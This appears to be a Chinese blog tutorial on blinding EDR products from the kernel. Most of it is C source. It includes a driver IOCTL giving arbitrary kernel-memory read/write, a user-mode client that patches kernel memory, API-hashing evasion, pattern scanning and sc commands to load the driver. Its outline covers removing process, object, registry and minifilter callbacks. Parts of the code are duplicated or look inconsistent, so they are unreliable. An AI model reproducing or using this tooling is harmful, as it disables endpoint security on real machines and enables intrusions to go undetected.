内核攻防-(2)致盲EDR
NTSTATUS devctrl_RwMemory(PDEVICE_OBJECT DeviceObject, PIRP irp, PIO_STACK_LOCATION irpSp)
{
UNREFERENCED_PARAMETER(DeviceObject);
NTSTATUS status = STATUS_UNSUCCESSFUL;
SIZE_T bytesTransferred = 0;
// Get the system buffer and validate input parameters
PVOID pBuffer = irp->AssociatedIrp.SystemBuffer;
ULONG bufferLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
if (!pBuffer || bufferLength < sizeof(MEMORY_OPERATION)) {
status = STATUS_INVALID_PARAMETER;
goto Exit;
}
// Cast buffer to our memory operation structure
PMEMORY_OPERATION memOp = (PMEMORY_OPERATION)pBuffer;
// Validate memory operation parameters
if (!memOp->SourceAddress || !memOp->DestinationAddress || !memOp->Size) {
status = STATUS_INVALID_PARAMETER;
goto Exit;
}
// Get current process context
PEPROCESS CurrentProcess = IoGetCurrentProcess();
// Perform the memory copy operation
status = MmCopyVirtualMemory(
CurrentProcess,
memOp->SourceAddress,
CurrentProcess,
memOp->DestinationAddress,
memOp->Size,
KernelMode, // Explicitly specify kernel mode
&bytesTransferred
);
Exit:
// Set IRP completion status
irp->IoStatus.Status = status;
irp->IoStatus.Information = NT_SUCCESS(status) ? bufferLength : 0;
IoCompleteRequest(irp, IO_NO_INCREMENT);
return status;
}
[项目根目录] BlindEdr/
├── Source Files/
│ ├── main.c # 主程序入口
│ ├── Common.c # 通用功能实现
│ ├── ApiHashing.c # API哈希相关功能
│ ├── Context.c # 上下文管理
│ ├── EDRDetector.c # EDR检测器
│ └── DriverNameUtils.c # 驱动程序名称工具
│
├── BlindEDR/ # EDR相关功能模块
│ ├── CallbackManager.c # 回调管理器
│ ├── ObjectCallbackManager.c # 对象回调管理
│ ├── RegistryCallbackManager.c # 注册表回调管理
│ └── FiilterCallbackManager.c # 过滤器回调管理
│
├── Header Files/
│ ├── Common.h # 通用头文件
│ ├── Structs.h # 结构定义
│ ├── RemoveCallBacks.h # 回调移除功能
│ ├── Debug.h # 调试功能
│ ├── FunctionPointers.h # 函数指针定义
│ ├── ApiHashing.h # API哈希头文件
│ ├── IatCamo.h # IAT伪装功能
│ └── Disclaimer.h # 免责声明
│
├── Resource Files/ # 资源文件目录
│
└── Build Files/
├── BlindEdr.vcxproj # Visual Studio项目文件
├── BlindEdr.vcxproj.filters # 项目筛选器配置
└── x64/
└── Release/
└── BlindEdr.exe.recipe # 生成配置文件
VOID DriverMemoryOperation(
PVOID fromAddress, // Source ptr
PVOID toAddress, // Target ptr
size_t len, // Length
MEMORY_OPERATION opType)
{
PBasic_INFO pbasic_info = GetContext();
PMemOp req = NULL;
DWORD bytesRet = 0;
BOOL success = FALSE;
HANDLE hDevice = GetContextHandle();
PMemoryPatch ppt = GetPatchTable();
// Backup kernel memory before write operations
if (opType == MEMORY_WRITE && (UINT64)toAddress > 0xFFFF000000000000)
{
PMemOp bkreq = NULL;
PMemoryPatch cpt = NULL;
PCHAR pBackup = (PCHAR)calloc(len, 1);
if (pBackup)
{
bkreq = (PMemOp)malloc(sizeof(MemOp));
if (bkreq)
{
// Configure backup request
bkreq->SourceAddress = toAddress;
bkreq->Size = len;
bkreq->DestinationAddress = pBackup;
success = DeviceIoControl(hDevice, RW_MEM_CODE, bkreq,
sizeof(MemOp), bkreq, sizeof(MemOp), &bytesRet, NULL);
if (success)
{
// Update patch table
cpt = (PMemoryPatch)malloc(sizeof(MemoryPatch));
if (cpt)
{
cpt->pAddr = toAddress;
cpt->szData = len;
cpt->pData = pBackup;
cpt->pNext = pbasic_info->PatchTable;
pbasic_info->PatchTable = cpt;
}
}
free(bkreq);
}
else {
free(pBackup);
}
}
}
// Execute memory operation
req = (PMemOp)malloc(sizeof(MemOp));
if (req)
{
req->SourceAddress = fromAddress;
req->Size = len;
req->DestinationAddress = toAddress;
success = DeviceIoControl(hDevice, RW_MEM_CODE, req,
sizeof(MemOp), req, sizeof(MemOp), &bytesRet, NULL);
if (!success) {
CloseHandle(hDevice);
}
free(req);
}
}
UINT64 GetFuncAddressH(IN UINT32 ModuleNameHash, IN UINT32 FuncNameHash)
{
// Get kernel module base
PVOID KBase = GetModuleBaseH(ModuleNameHash);
if (!KBase) {
return 0;
}
// Get user-mode module handle
HMODULE hModule = NULL;
HMODULE hKernel32 = GetModuleHandleH(kernel32dll_CH, FALSE);
if (!hKernel32) {
return 0;
}
// Load appropriate module
if (ModuleNameHash == FLTMGRSYS_CH) {
fnLoadLibraryExA pLoadLibraryEx = (fnLoadLibraryExA)GetProcAddressH(hKernel32, LoadLibraryExA_CH);
if (pLoadLibraryEx) {
hModule = pLoadLibraryEx("C:\\windows\\system32\\drivers\\FLTMGR.SYS",
NULL, DONT_RESOLVE_DLL_REFERENCES);
}
} else if(ModuleNameHash == NTOSKRNLEXE_CH){
fnLoadLibraryA pLoadLibrary = (fnLoadLibraryA)GetProcAddressH(hKernel32, LoadLibraryA_CH);
if (pLoadLibrary) {
hModule = pLoadLibrary("ntoskrnl.exe");
}
}
if (!hModule) {
return 0;
}
// Get and calculate final function address
VOID* ProcAddr = GetProcAddressH(hModule, FuncNameHash);
return ProcAddr ? ((UINT64)KBase + ((UINT64)ProcAddr - (UINT64)hModule)) : 0;
}
// Find pattern in memory
UINT64 FindPattern(UINT64 startAddress, const PATTERN_SEARCH* pattern, int maxCount) {
if (!pattern || pattern->length == 0) {
return 0;
}
BYTE* buffer = (BYTE*)malloc(pattern->length);
if (!buffer) {
return 0;
}
int count = 0;
UINT64 currentAddr = startAddress;
while (count++ < maxCount) {
// Read memory at current address
DriverMemoryOperation((VOID*)currentAddr, buffer, pattern->length, MEMORY_WRITE);
if (pattern->validate) {
if (pattern->validate(buffer)) {
free(buffer);
return currentAddr;
}
}
currentAddr++;
}
free(buffer);
return 0;
}
BYTE* buffer = (BYTE*)malloc(pattern->length);
if (!buffer) {
return 0;
}
UINT64 currentAddr = startAddress;
int count = 0;
DriverMemoryOperation((VOID*)currentAddr, buffer, pattern->length, MEMORY_WRITE);
if (pattern->validate) {
if (pattern->validate(buffer)) {
free(buffer);
return currentAddr;
}
}
currentAddr++;
free(buffer);
return 0;
Address: 0x1000 | 0x48 0x8D 0x05 0xA0 0x00 ...
Address: 0x1001 | 0x48 0x8D 0x05 0xB0 0x00 ...
PATTERN_SEARCH leaPattern = {
.length = 3,
.validate = ValidateLeaRipPattern,
.name = "LEA_RIP"
};
UINT64 result = FindPattern(0x1000, &leaPattern, 100);
sc create rwdriver binPath= "C:\Users\Driver\Desktop\driver\rwdriver.sys" type= kernel start= demand
sc start rwdriver
热门文章
目录
-
-
-
驱动利用Exe解析
- 项目结构
- 核心原理
- API哈希动态获取
- 必要函数
- IsEDRHash
- FindPattern
- 示例:匹配 LEA RAX, [RIP+Offset] 指令
- CalculateOffset
- 代码逻辑示例
- 清除核心回调内核
- CallbackManager.c
- 回调处理函数(ProcessDriverCallback):
- 获取回调数组地址(GetPspNotifyRoutineArrayH):
- 打印和清除回调(PrintAndClearCallBack):
- 清除多种回调(ClearThreeCallBack):
- FilterCallBackManager.c
- 函数 1:RemoveInstanceCallback
- 函数 2:ClearMiniFilterCallBack
- ObjectCallBackManager.c
- 1. ClearObRegisterCallbacks
- 2. GetPsProcessAndProcessTypeAddr
- 3. RemoveObRegisterCallbacks
- 4. ProcessCallback
- RegistryCallbackManager.c
- 常用的规避EDR技巧
-
-
-
没有评论